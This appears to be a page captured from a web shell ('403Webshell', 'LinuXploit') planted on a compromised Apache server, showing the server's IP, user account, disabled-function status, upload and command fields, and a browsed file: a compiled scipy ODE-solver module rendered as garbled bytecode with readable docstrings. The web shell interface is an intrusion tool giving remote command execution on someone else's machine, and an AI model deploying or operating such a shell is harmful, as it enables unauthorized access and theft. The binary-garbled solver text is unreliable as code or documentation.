403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/scipy/integrate/_ivp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/scipy/integrate/_ivp/__pycache__/base.cpython-311.pyc
�

d�cN%��d�ddlZd�ZGd�d��ZGd�d��ZGd�de��ZdS)	�Nc�,���tj|��}tj|jtj��r|std���t�nt�|��d���}|j	dkrtd�����fd�}||fS)z=Helper function for checking arguments common to all solvers.zX`y0` is complex, but the chosen solver does not support integration in a complex domain.F)�copy�z`y0` must be 1-dimensional.c�D��tj�||������S)N)�dtype)�np�asarray)�t�yr�funs  ���;/usr/lib/python3/dist-packages/scipy/integrate/_ivp/base.py�fun_wrappedz$check_arguments.<locals>.fun_wrappeds"����z�#�#�a��)�)�5�1�1�1�1�)
rr	�
issubdtyper�complexfloating�
ValueError�complex�float�astype�ndim)r�y0�support_complexrrs`   @r
�check_argumentsrs�����	��B���B�	�}�R�X�r�1�2�2���	M��L�M�M�
M������	���5�u��	%�	%�B�	�w�!�|�|��6�7�7�7�2�2�2�2�2�2���?�rc�N�eZdZdZdZ	dd�Zed���Zd�Zd�Z	d�Z
d	�Zd
S)�	OdeSolvera�Base class for ODE solvers.

    In order to implement a new solver you need to follow the guidelines:

        1. A constructor must accept parameters presented in the base class
           (listed below) along with any other parameters specific to a solver.
        2. A constructor must accept arbitrary extraneous arguments
           ``**extraneous``, but warn that these arguments are irrelevant
           using `common.warn_extraneous` function. Do not pass these
           arguments to the base class.
        3. A solver must implement a private method `_step_impl(self)` which
           propagates a solver one step further. It must return tuple
           ``(success, message)``, where ``success`` is a boolean indicating
           whether a step was successful, and ``message`` is a string
           containing description of a failure if a step failed or None
           otherwise.
        4. A solver must implement a private method `_dense_output_impl(self)`,
           which returns a `DenseOutput` object covering the last successful
           step.
        5. A solver must have attributes listed below in Attributes section.
           Note that ``t_old`` and ``step_size`` are updated automatically.
        6. Use `fun(self, t, y)` method for the system rhs evaluation, this
           way the number of function evaluations (`nfev`) will be tracked
           automatically.
        7. For convenience, a base class provides `fun_single(self, t, y)` and
           `fun_vectorized(self, t, y)` for evaluating the rhs in
           non-vectorized and vectorized fashions respectively (regardless of
           how `fun` from the constructor is implemented). These calls don't
           increment `nfev`.
        8. If a solver uses a Jacobian matrix and LU decompositions, it should
           track the number of Jacobian evaluations (`njev`) and the number of
           LU decompositions (`nlu`).
        9. By convention, the function evaluations used to compute a finite
           difference approximation of the Jacobian should not be counted in
           `nfev`, thus use `fun_single(self, t, y)` or
           `fun_vectorized(self, t, y)` when computing a finite difference
           approximation of the Jacobian.

    Parameters
    ----------
    fun : callable
        Right-hand side of the system. The calling signature is ``fun(t, y)``.
        Here ``t`` is a scalar and there are two options for ndarray ``y``.
        It can either have shape (n,), then ``fun`` must return array_like with
        shape (n,). Or, alternatively, it can have shape (n, n_points), then
        ``fun`` must return array_like with shape (n, n_points) (each column
        corresponds to a single column in ``y``). The choice between the two
        options is determined by `vectorized` argument (see below).
    t0 : float
        Initial time.
    y0 : array_like, shape (n,)
        Initial state.
    t_bound : float
        Boundary time --- the integration won't continue beyond it. It also
        determines the direction of the integration.
    vectorized : bool
        Whether `fun` is implemented in a vectorized fashion.
    support_complex : bool, optional
        Whether integration in a complex domain should be supported.
        Generally determined by a derived solver class capabilities.
        Default is False.

    Attributes
    ----------
    n : int
        Number of equations.
    status : string
        Current status of the solver: 'running', 'finished' or 'failed'.
    t_bound : float
        Boundary time.
    direction : float
        Integration direction: +1 or -1.
    t : float
        Current time.
    y : ndarray
        Current state.
    t_old : float
        Previous time. None if no steps were made yet.
    step_size : float
        Size of the last successful step. None if no steps were made yet.
    nfev : int
        Number of the system's rhs evaluations.
    njev : int
        Number of the Jacobian evaluations.
    nlu : int
        Number of LU decompositions.
    z8Required step size is less than spacing between numbers.Fc���d�_|�_t|||��\�_�_|�_|�_|r
�fd�}�j}n�j}�fd�}�fd�}|�_|�_|�_	||krtj||z
��nd�_�jj
�_d�_d�_d�_d�_dS)Nc�h����||dd�df�����S�N)�_fun�ravel�r
r�selfs  �r
�
fun_singlez&OdeSolver.__init__.<locals>.fun_single|s/����y�y��A�a�a�a��g�J�/�/�5�5�7�7�7rc���tj|��}t|j��D]"\}}��||��|dd�|f<�#|Sr)r�
empty_like�	enumerate�Tr)r
r�f�i�yir"s     �r
�fun_vectorizedz*OdeSolver.__init__.<locals>.fun_vectorized�sS����M�!�$�$��&�q�s�^�^�/�/�E�A�r�"�i�i��2�.�.�A�a�a�a��d�G�G��rc�P���xjdz
c_��||��S)Nr)�nfevr#r!s  �r
rzOdeSolver.__init__.<locals>.fun�s&����I�I��N�I�I��?�?�1�a�(�(�(rr�runningr)�t_oldr
rrr�t_bound�
vectorizedrr#r+r�sign�	direction�size�n�statusr-�njev�nlu)	r"r�t0rr0r1rr#r+s	`        r
�__init__zOdeSolver.__init__ss�����
����+�C��_�E�E���	�4�6����$����	�
8�
8�
8�
8�
8�!�Y�N�N���J�
�
�
�
�
�	)�	)�	)�	)�	)����$���,���29�R�-�-����2��.�.�.�Q�������������	���	�����rc�V�|j�dStj|j|jz
��Sr)r/r�absr
�r"s r
�	step_sizezOdeSolver.step_size�s(���:���4��6�$�&�4�:�-�.�.�.rc�V�|jdkrtd���|jdks|j|jkr"|j|_|j|_d}d|_nQ|j}|���\}}|sd|_n)||_|j|j|jz
zdkrd|_|S)aPerform one integration step.

        Returns
        -------
        message : string or None
            Report from the solver. Typically a reason for a failure if
            `self.status` is 'failed' after the step was taken or None
            otherwise.
        r.z/Attempt to step on a failed or finished solver.rN�finished�failed)r6�RuntimeErrorr5r
r0r/�
_step_implr3)r"�messager
�successs    r
�stepzOdeSolver.step�s����;�)�#�#�� )�*�*�
*��6�Q�;�;�$�&�D�L�0�0���D�J��\�D�F��G�$�D�K�K���A�#���0�0��G�W��
-�&������
��>�T�V�d�l�%:�;�q�@�@�",�D�K��rc���|j�td���|jdks|j|jkr t	|j|j|j��S|���S)z�Compute a local interpolant over the last successful step.

        Returns
        -------
        sol : `DenseOutput`
            Local interpolant over the last successful step.
        Nz;Dense output is available after a successful step was made.r)r/rBr5r
�ConstantDenseOutputr�_dense_output_implr=s r
�dense_outputzOdeSolver.dense_output�sh���:��� 0�1�1�
1��6�Q�;�;�$�&�D�J�.�.�&�t�z�4�6�4�6�B�B�B��*�*�,�,�,rc��t�r��NotImplementedErrorr=s r
rCzOdeSolver._step_impl����!�!rc��t�rrLr=s r
rIzOdeSolver._dense_output_impl�rNrN)F)�__name__�
__module__�__qualname__�__doc__�TOO_SMALL_STEPr:�propertyr>rFrJrCrI�rr
rrs�������V�V�nP�N�"'�#�#�#�#�J�/�/��X�/����B-�-�-�$"�"�"�"�"�"�"�"rrc�$�eZdZdZd�Zd�Zd�ZdS)�DenseOutputaOBase class for local interpolant over step made by an ODE solver.

    It interpolates between `t_min` and `t_max` (see Attributes below).
    Evaluation outside this interval is not forbidden, but the accuracy is not
    guaranteed.

    Attributes
    ----------
    t_min, t_max : float
        Time range of the interpolation.
    c�v�||_||_t||��|_t	||��|_dSr)r/r
�min�t_min�max�t_max)r"r/r
s   r
r:zDenseOutput.__init__�s2����
������E�]�]��
���E�]�]��
�
�
rc��tj|��}|jdkrtd���|�|��S)aeEvaluate the interpolant.

        Parameters
        ----------
        t : float or array_like with shape (n_points,)
            Points to evaluate the solution at.

        Returns
        -------
        y : ndarray, shape (n,) or (n, n_points)
            Computed values. Shape depends on whether `t` was a scalar or a
            1-D array.
        rz#`t` must be a float or a 1-D array.)rr	rr�
_call_impl�r"r
s  r
�__call__zDenseOutput.__call__�s=��
�J�q�M�M���6�A�:�:��B�C�C�C����q�!�!�!rc��t�rrLr`s  r
r_zDenseOutput._call_impl�rNrN)rPrQrRrSr:rar_rVrr
rXrX�sK������
�
�#�#�#�"�"�"�&"�"�"�"�"rrXc�(��eZdZdZ�fd�Zd�Z�xZS)rHz�Constant value interpolator.

    This class used for degenerate integration cases: equal integration limits
    or a system with 0 equations.
    c�Z��t���||��||_dSr)�superr:�value)r"r/r
rf�	__class__s    �r
r:zConstantDenseOutput.__init__s(���
�������"�"�"���
�
�
rc��|jdkr|jStj|jjd|jdf��}|jdd�df|dd�<|S)Nr)rrfr�empty�shape)r"r
�rets   r
r_zConstantDenseOutput._call_implsZ���6�Q�;�;��:���(�D�J�,�Q�/�����<�=�=�C��Z����4��(�C����F��Jr)rPrQrRrSr:r_�
__classcell__)rgs@r
rHrHsQ���������
�����������rrH)�numpyrrrrXrHrVrr
�<module>rns����������*}"�}"�}"�}"�}"�}"�}"�}"�@&"�&"�&"�&"�&"�&"�&"�&"�R�����+�����r

Youez - 2016 - github.com/yon3zu
LinuXploit